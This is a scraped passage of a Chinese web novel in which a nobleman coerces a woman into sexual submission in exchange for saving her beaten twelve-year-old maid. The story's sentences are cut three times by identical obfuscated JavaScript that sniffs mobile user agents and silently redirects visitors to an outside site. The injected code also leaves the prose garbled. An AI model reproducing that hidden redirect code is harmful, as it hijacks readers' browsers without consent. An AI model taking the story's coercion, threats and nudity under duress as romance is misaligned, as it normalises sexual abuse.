他目光冷冷,嘴里哼了一声:“非要忤逆本世子,这回老实了?” 见怀中的人没有任何反应,他抱着人进了陈府他住的院子,又着人去请了大夫。 元青快马赶到了官府,那吴为庸知晓他是贵人身边的人,也没有阻拦,直接带元青到了牢房。 元青看见一个毛茸茸的脑袋轻轻压在干草堆上,整个人安安静静的,好像是睡着了。 待他再走近一些,菱儿裙子上的那片红色瞬间刺痛了他的眼睛。 元青只觉胸口一滞,那丫头那样小,她得多疼啊! 此刻,元青才知道,为何清姑娘那样着急。 他只知吴为庸和金氏一起,将菱儿关进了牢里。 却不知她们还打了她的板子! 再看看菱儿的脸,已经红得像要熟透的虾子,嘴唇又发着乌。 元青快步来到门边,伸手碰了碰菱儿的额头,滚烫非常。 元青暗道不好,菱角这是发了高热了。 “菱角!”他急着呼唤她,却没有一丝回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312962|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应。 一旁的吴为庸看菱儿毫无反应,又见元青那焦急的模样,心道不好。 这丫头看起来像是要**,而眼前这人好像很在意的样子。 早知这小丫头也是贵人青睐的人,他就为她寻个大夫来了。 转而一想,他又怪起金氏来,心里直埋怨她下手太狠。 “快打开门!”元青几乎是吼着的。 牢头儿闻言,赶紧上前打开了牢门。 元青冲了进去,心疼地想要将菱儿抱起来,可看见她那伤,又不敢碰她,怕碰到她的伤口。 吴为庸见状,让牢头儿帮忙,找来了担架,才将菱儿抬上了马车。 元青看着立在马车前的吴为庸,看得吴为庸心里有些发毛。 那小哥的眼神似乎是想活剐了他啊! 元青转过头,驾着马车,将菱儿带了回去。 沈清念被谢宴之抱回屋子后,吩咐小厮去准备些热水,他要给她泡泡热水澡,不然怕是会受凉。 他伸手解开了沈清念的衣带,将她身上的湿透的衣裳脱掉。 她就这样暴露在他眼前,谢宴之看了一眼那样美好的她,伸手拉过被子将她裹了起来。 此时他可没心情做什么,他要的是她清醒的时候,他想看看那时她会是什么反应! 谢宴之坐到了旁边的椅子上,闭目养神。 他怕再多看上一眼,就会无法控制。 等沈清念悠悠转醒时,发现自己正在浴桶里,温热的水让她的身体不再觉得冷冷的。 她忽然想起来谢宴之好像将她抱了起来,然后,她就昏了过去,什么也不知道了。 她趴在浴桶边缘,打量着眼前的屋子。 屋子是成套的紫檀木桌椅,还有些古董瓷器,低调中又透着一丝奢华的气息。 还有一股似有若无的雪松味环绕在鼻尖,她瞬间明白过来,这是谢宴之的屋子! 那他人呢? 沈清念心里有些发慌,她扫视了一下屋子,没有看到人便想要起身穿衣裳。 她才刚动了一下,就发觉自己的腰被什么东西环着,一个冷冽的声音从身后传来:“你醒了?” 第一百章 也该兑现她的承诺了 沈清念猛地转过头去,才看到谢宴之正贴在自己身后,那只大手也环在她的腰上。 而他脸上神情淡淡,眯着眼,似在养神。 沈清念赶紧往后退了一些,低头看了自己一眼,才发现她此时不着寸缕。 她又赶紧双手抱臂,勉强将那些饱满挡住。 难道他刚一直就那样抱着自己! 她顶着一双湿漉漉的眸子,脸上满是惊慌与怨恨:“你……!你趁人之危!” 手上的柔软一下消失了,谢宴之缓缓睁开了眼,幽深的眸子看向沈清念。 刚刚小厮将浴桶的水装满以后,谢宴之将沈清念放了进去,却见她整个人一下就歪倒在水中。 他身上也淋了雨,不如抱着沈清念,这样就不怕她溺**。 但她看向自己的那是什么眼神?以为我会趁人之危的小人行径吗? 他刚刚一直煎熬得辛苦,现在人醒了,却视他如洪水猛兽。 谢宴之觉得自己的一片好心都为了狗了。 她还没学乖吗?看来之前额怀柔显然是没有一丝一毫的效果。 他张开双手搭在浴桶边缘,看向沈清念的眼里,含着一丝质问。 见她的脸色还是那样难看,眼里的惊恐不退,他心中涌起了一丝怒意。 谢宴之薄唇微启,吐出几个冰冷的字:“怎么,不能看?” “不是说做什么都可以么?” 说完,他看她的眼眸里,蓄满了寒意,又有开口道:“还是说你又在骗本世子?” 沈清念眼里流露出一丝慌乱,她想起了那个时候谢宴之问她的话,原本恢复了些红润的脸,此刻又泛起了白。 当时是想到菱儿,她不答应,菱儿很有可能就会死。 想到这儿,沈清念喉头一堵,酸涩涌上心头。 眼泪掉落下来,滴进温水里,泛起几个旋儿。 谢宴之见她潸然泪下,眉头紧皱。 与他在一处,就让她这样难受? 这世上还有哪个女子,能让他做到这个份上。他给了她所有的耐心与爱意,她倒是觉得委屈巴巴。 那副样子给谁看?谁委屈她了? 自己跑出去开铺子,每日挣那几文钱就那么开心?没了他的庇护,连个地痞流氓都可以随意欺辱她。 谢宴之看着她,眉头越皱越深。不识好歹!愚不可及! 既是那样,那就不要怪他用强了。 如今看来,强硬手段至少将人留在了身边,至于她的心,只要人一直留在他身边,总有一天她会双手捧着送到他面前的。 想着,人就凑了过去。 沈清念抬起头,就看到了眼前那张放大的脸。 沈清念被逼得想逃,可她已经到了浴桶边缘,已经退无可退。 谢宴之用手扣住他的后脑勺,鹰隼般的眼光盯着她,灼热的气息洒在她脸上。 沈清念看见他的喉头滚动了一下,她的心也跳得极快,如果可以,她很想用手将他狠狠推开。 谢宴之盯着她看了一会儿,眯着眼:“你是不是在骗我?”话语里透着不满与威胁。 仿佛她要是敢承认在威胁他,就会有难以承受的后果。 沈清念也被他看得心虚。 她那时说的话的确不是心里话,可眼下二人的处境,又不敢激怒他。想了想说道:“没有,我没有在骗你。我……我只是想先看看菱儿。” 对的,她醒来还没有见到菱儿,她当时伤得那样重,又发了高热。 闻言,谢宴之松开了她,忽然站了起来。 沈清念没想到谢宴之这么容易就放开了她,她抬头看去,见他全身上下只着了一条亵裤,水滴顺着他结实的胸膛滴下来。 而她面前的是正是他的伟岸。 沈清念赶紧闭上了眼。 谢宴之看了她一眼,嘴角微翘。她的确还从没见过他这样子。 他甚至还想知道此刻见了他这样,她喜不喜欢,满不满意。 又听见一阵水声,谢宴之已经从浴桶里出来,拿着帕子将自己随手擦了两下。 沈清念侧耳听着他的动静,心跳加快,只觉得又羞又恼。 忽然她觉得自己双臂被人抓住,那双大手一用力,自己就被人从水里拎了起来。 下一秒就落入一个宽阔的怀抱里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312963|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼见谢宴之抱着她朝着床的方向去,沈清念吓得大喊起来:“你要做什么?” 任谁在这样的情形下被人抱住,都会害怕。 沈清念顾不得胸前的风光,双手拼命捶打,想从他怀里挣脱出来。 但他的手紧紧箍住了她,半分不得松动。 沈清念心一狠,一口咬在他的肩上。她心里对谢宴之接下来要对她做的事是万般抵触。无论如何,她决不能失身于他! 她还没有亲口问问萧怀意还要不要她! “嘶!” 谢宴之没想到她发疯似的,竟然敢咬他!不顾半分小姐的端庄! 他皱着眉快步抱着人来到床边,语气里带着恼怒和嫌弃:“你这个疯子,还不放开!” “当真要我趁人之危!” 那幽深的眸子里已是**,危险的气息弥漫开来。 沈清念松了口,快速扯了被子将自己包裹起来,挤到了角落里。 谢宴之看了一眼肩上的两排红牙印,心道她对他还真是心狠。 她向来对他都是这样狠心! 不过从今以后,他都不纵着她这样了。 他要好好改改她的脾性,挫挫她的傲骨。 谢宴之对着她嫌恶地看了一眼:“你真当我脾性好是不是?” 他又转身从一旁的椅子上,拿了一套藕粉色缠枝纹的衣裙丢给她。 自己又去换了一身干净的衣裳回来,见沈清念还保持着刚才的姿势。 谢宴之冷冷道:“还不快点儿?不是说要去看你那个丫头?” 沈清念听了这话,一下子反应过来,他现在要带她去见菱儿。 她才慢慢悠悠地躲在被子里穿衣裳,可衣裙繁复冗长,憋在那小角落里,根本不好穿。 谢宴之原本坐在椅子上,看她磨磨蹭蹭,小心翼翼的样子,也知道她是介意他在一旁。 很介意吗?刚刚不都看过了? 罢了,等她亲眼看了那丫头,看她还能找出什么借口拒绝他的亲近。 到那时也该兑现她的承诺了。 想到这里,谢宴之站起身来,别有深意地看了一眼沈清念后,拂袖离去。 第一百零一章 若你求我…… 见谢宴之出去了,沈清念朝门边飞快瞧了一眼,飞快地将衣裙穿好。 又松松绾了个发,快步走到门口,一打开门,就见谢宴之负手立在院子里。 谢宴之回头见沈清念穿着那身衣裙,如一朵娇嫩的海棠花,整个人娇俏了许多。 又见她立在门口不动,一幅要与自己保持距离的样子。 谢宴之脸上满是不耐:“还要磨磨蹭蹭到几时?” “还不快过来!” 沈清念抬脚来到了他身后,心里清楚,若惹怒了谢宴之,就见不到菱儿了。 谢宴之冷哼一声,迈开大步子走在前面。为了报复她刚刚的不情不愿,谢宴之故意迈放快了脚步。 沈清念提了裙摆在后面小跑着,才堪堪追上他。 到了一处下人院子,谢宴之突然停下了脚步转过身来,沈清念一时不察,撞在了他怀里。 她慌张地推开他,又赶紧往后退了一步。 谢宴之看到她的举动,目光一冷,出言讽刺道:“不是贞洁烈女吗?现在又急着向我投怀送抱?” 沈清念看着他,若不是他故意走得那么快,又故意停下,她又怎么会刚想开口辩解,又抿住了嘴没有说话。 反正他想怎么羞辱她,她都只能忍着。 想着菱儿,她现在哪有资格跟他争论。 元青守在屋子外面,看见谢宴之和沈清念过来了,赶忙起身。 “爷!清姑娘!” 沈清念看着元青,见他眼里布满血丝,全然没了往日的那股意气风发。 “你怎么这副样子?”谢宴之看着他一脸疲惫,好像一下沧桑了许多。 元青不知自己现在是什么样子,他也不知该怎么回答谢宴之的话。 总不能告诉爷他有多心疼那个丫头,心痛得心里一直在后悔,后悔自己没有保护好她吧。 她才十二岁,就遭了那样大的罪。 那伤连大夫看了都摇了头,他心里怎么会好受。 他心里甚至埋怨过谢宴之。 可是那是他的主子,主子的话他只能听。 “我没事的爷。”元青憋出这一句话来。 看出沈清念的焦急,元青指了指后面那扇门,又说道:“清姑娘,快进去看看菱儿吧。” 沈清念轻轻推开了门,见里面的小床上隐约趴着一个人,睡得恬静安稳。 只是脸上毫无血色,又掀开被子悄悄看了一眼,眼泪夺眶而出。 那里已经没有一块好肉,血肉模糊。 混着药粉,看起来有些骇人。 门外。 谢宴之听了元青的话,蹙了蹙眉。 他只是想要将沈清念逼入绝境,并不想让她身边那丫头受伤。 这样的法子有很多,吴氏夫妇却选了最笨的一种。 谢宴之看了一眼屋内沈清念的身影,心想她当时应该很心疼吧,心里应该是恨极了他。 在外面站了一会儿,谢宴之踱步进到屋子里:“夜深了,跟我回去。” 沈清念摇摇头道:“我想留下来陪着菱儿,我想看她醒过来。” 谢宴之面色沉了下来,她留下来看这个丫头,将他晾在一旁。 在这个丫头和他之间,她竟然毫不犹豫选了那个卑贱的丫头。 谢宴之冷冷道:“既然本世子已经帮你救了菱儿,你也该兑现你的承诺了。” “本世子现在要你去伺候我歇息!” 沈清念听到这话,满眼怨恨,要不是他,菱儿又怎会这样? 一个无辜的人因为他的一己私欲变成了这样,他脸上没有一丝愧疚,反而还继续来逼迫她,他难道没有心吗? 沈清念眼里的恨意一下刺痛了谢宴之,他凑到她耳边道:“我能救她,就能让她再回去!” 沈清念不可置信的看着他,一个人怎么可以这么卑鄙! 见沈清念仰着脖子,挺直了背脊看着他,谢宴之脸色铁青。 他不喜欢她像一棵倔强的树,在他面前展露她的风骨。 那玩意让她看不见他的爱意。 如今,他不会再纵着她,他要慢慢斩断她的傲骨,要她向他臣服。 “你跪下求我,或许本世子可以让你留下来。”谢宴之冰冷的声音传来,令沈清念觉着如坠冰窟。 不知怎么的,她的眼前模糊不已,眼眶酸涩。 饶是她已经做好准备,谢宴之会羞辱她,真的到了这个时候,她还是觉得难以承受。 可她还没有看到菱儿醒过来,她不能离开。 想到这些,沈清念缓缓跪在了地上,艰难开口:“求世子让我留下照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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